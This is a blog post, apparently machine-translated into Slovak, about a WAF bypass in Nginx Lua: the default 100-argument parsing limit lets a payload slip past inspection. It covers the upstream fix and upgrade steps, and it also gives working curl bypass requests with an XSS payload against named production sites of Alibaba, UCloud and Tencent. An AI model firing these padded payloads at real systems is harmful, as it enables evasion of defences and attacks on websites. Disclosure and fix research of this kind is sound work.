|
|
Zverejnené 27. 4. 2018 9:23:29
|
|
|
|

Keď ginx Lua získa parametre, prvých 100 hodnôt parametrov sa získa predvolene a zvyšok sa zahodí. Preto budú WAFy využívajúce Nginx Lua predvolene obchádzané. Dňa 20. apríla 18 už niekto z bezpečnostnej služby túto informáciu prezradil, takže som tiež zverejnil tento článok 233.
Princíp
Oficiálny popis je nasledovný
Všimnite si, že maximálne 100 argumentov požiadaviek sa štandardne parsuje (vrátane tých s rovnakým názvom) a že ďalšie argumenty požiadaviek sú potichu vyhadzované, aby sa zabránilo potenciálnemu riziku Útoky typu odmietnutie služby. Až 100 parametrov požiadaviek (vrátane tých s rovnakým názvom) je možné štandardne parsovať a ďalšie parametre požiadaviek sú automaticky vyradené, aby sa zabránilo potenciálnym útokom typu denial-of-service.
Vyhľadajte 100, približne nasledujúca metóda má rovnaký problém. ngx.req.get_uri_args Získajte parametre požiadaviek pre get ngx.req.get_post_args Získajte parametre požiadaviek pre príspevok ngx.req.get_headers Získajte hlavičku požiadavky ngx.decode_args Dekódovať URL parametrov ngx.resp.get_headers Získajte hlavičku odpovede V zdrojovom kóde lua-nginx-module vidíme, že zdrojový kód nastavuje predvolený maximálny parameter požiadavky a hlavičku na 100
#ifndef NGX_HTTP_LUA_MAX_HEADERS #define NGX_HTTP_LUA_MAX_HEADERS 100 #endif
Oficiálny úradník však poskytuje metódu na úpravu predvolenej hodnoty, napríklad ngx.req.get_uri_args (200), aby sa dosiahlo prvých 200 parametrov požiadavky.
Test
Ak je parameter požiadavky 101, posledný parameter požiadavky nie je možné získať.
curl -v 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'
Ak znížite jeden parameter požiadavky, môžete získať posledný parameter požiadavky, keď sú parametre požiadavky presne 100.
a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62 Odpoveď: ZBG Mám ťa, zbg
Všimnite si, že predvolené je skutočne 100 parametrov požiadaviek a parametre požiadavky po 100 parametroch požiadavky budú zamietnuté.
Je zvláštne, že v obsahu návratu vyššie, uprostred približnej pozície, je už výstupný parameter zbg. Môj odhad je, že výstup nie je v poradí, ale poradie parsovania nasleduje poradie, v akom sa parametre odosielajú, pretože keď je hodnota 101. parametra zbg, hodnota nie je dostupná.
Priložený je python skript, ktorý generuje parametre:
# Autor: ZBG # Mail:zbg@zbg.org # dátum: 2018-04-03
a = '' Pre I v rozsahu (200): a = a + 'a{0}={1}&'.format(i+1, i+1) print a opravovať Samozrejme, neodporúča sa meniť hodnotu MAX parametra v zdrojovom kóde. Pretože bez ohľadu na to, akú veľkú hodnotu nastavíte, dá sa obísť. Odporúča sa nastaviť ho pomocou parametrov metódy. Ak dokážete získať dĺžku parametra požiadavky a použiť metódu ako ngx.req.get_uri_args (lenth), nebolo by to dosť? Pri čítaní dokumentácie som zistil, že počet požadovaných parametrov sa nepodarilo získať. Ak však nastavíte lenth na 0, môžete získať všetky požadované parametre.
Tento argument možno nastaviť na nulu, aby sa odstránil limit a spracovali sa všetky prijaté argumenty požiadaviek. Lokálny args = ngx.req.get_uri_args(0)
Avšak dôrazne sa neodporúča nastavovať ho na 0, aby sa predišlo potenciálnym útokom typu denial-of-service.
Odstránenie max_args krytu sa dôrazne neodporúča.
Vlastne som sa zamýšľal, prečo nastavenie 0 vedie k potenciálnemu útoku na odmietnutie služby a požiadavka by aj tak išla na nginx, bez ohľadu na to, koľko parametrov bolo v get alebo post.
Nahlásil som problém úradníkovi a autor povedal, že ngx.req.get_uri_args (0) zvýši využitie CPU a pamäte servera. Neskôr som otestoval 200 parametrov a použil som Nginx+php na získanie 200. parametra, čo znamená, že Nginx štandardne neobmedzuje počet požadovaných parametrov. Potom môže problém spočívať priamo v Nginx Lua,Keď Nginx Lua používa ngx.req.get_uri_args(0) na získanie všetkých parametrov a prechádza nimi, keď je požadovaných veľa parametrov, spotrebúva viac CPU a pamäte a nakoniec vedie až k zamietnutiu služby。
Dňa 03.04.2018 Bypass007 oficiálne nahlásil PROBLÉM týkajúci sa tejto opravy chyby a konečne oficiálne pridal novú funkciu založenú na tomto PROBLÉME 2018-04-21. Adresa záznamu commitu tejto funkcie: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
Popis funkcie je nasledovný: Vo verziách po v0.10.13 (vrátane v0.10.13), keď je prekročený limit počtu požiadaviek, druhá vrátená hodnota je orezaný reťazec. Od verzie v0.10.13, keď je limit prekročený, vráti druhú hodnotu, ktorou je reťazec "skrátený". Voliteľný argument max_args funkcie však môže byť použitý na prekonanie tohto limitu: Lokálne args, err = ngx.req.get_uri_args(10) ak err == "skrátené" potom -- tu je možné aktuálnu požiadavku ignorovať alebo odmietnuť koniec
Takže konečná oprava vyšla.
Upgradovať lua-nginx-module na verziu v0.10.13 alebo novšiu
Potom obmedzte celkový počet parametrov, pokiaľ ide o to, ako veľmi je celkový počet obmedzený, osobne si myslím, že 100 je dosť
OpenResty aktualizuje modul lua-nginx-module
Nenašiel som žiadne informácie o module na vylepšenie OpenResty, tak som si sám vymyslel, ako modul lua-nginx-module upgradovať.
Kroky sú nasledovné:
Stiahnite si zodpovedajúcu verziu modulu lua-nginx-module Wget https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13 rozbaliť tar -zxvf v0.10.13 Vymazať predchádzajúcu verziu lua-nginx-modulu RM -RF OpenResty-1.9.15.1/bundle/ngx_lua-0.10.5 Skopírovať nový lua-nginx-modul mv lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13 Pre kompiláciu pozri kompilačné parametre VeryNginx
Obchádzanie prípadu
Treba objasniť, že pri nasledujúcich WAFoch si nie som istý, či použiť Nginx Lua, ale dajú sa obísť celkovým počtom parametrov.
Ali WAF
Tento WAF je WAF používaný interne Alibabou, teda WAF používaný doménovými menami ako *.taobao.com, a nebol testovaný pre cloudový WAF predávaný Alibaba Cloud. Najprv požiadajte o POST XSS náklad na jeho zachytenie. curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com Vďaka Fuzz sa zistilo, že keď sa počet parametrov zvýši na 478 pomocou XSS Payload, už nie je zachytávaný a webová stránka je prístupná normálne. curl -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245&245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=332&a333=333&333=334&a335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
UCloud
Testovaný WAF je WAF predávaný spoločnosťou UCloud. Keď sa parameter požiadavky zvýši na 138, už nebude blokovaný a webová stránka bude prístupná normálne. Curl -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn
Tencent WAF
Tento WAF je WAF používaný Tencentom interne, teda WAF používaný doménovými menami ako *.qq.com, a nebol testovaný pre cloudový WAF predávaný spoločnosťou Tencent Cloud. Keď parameter požiadavky stúpne na 4000, už nebude blokovaný a webová stránka bude prístupná normálne. Náhodné testy nasledujúcich domén sú ovplyvnené. web.qq.com ke.qq.com auto.qq.com news.qq.com sports.qq.com time.qq.com
súhrn
Táto otázka je veľmi jednoduchá a nájdete ju dôkladným čítaním dokumentu. Ale prečo som to nezistil? Myslím, že je to stále príliš málo premýšľania. Referencie
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
|
Predchádzajúci:Nauč sa Photoshop od nuly, 18 lekcií od začiatočníka po bohaBudúci:Silné a slabé stránky Lua a Luajita
|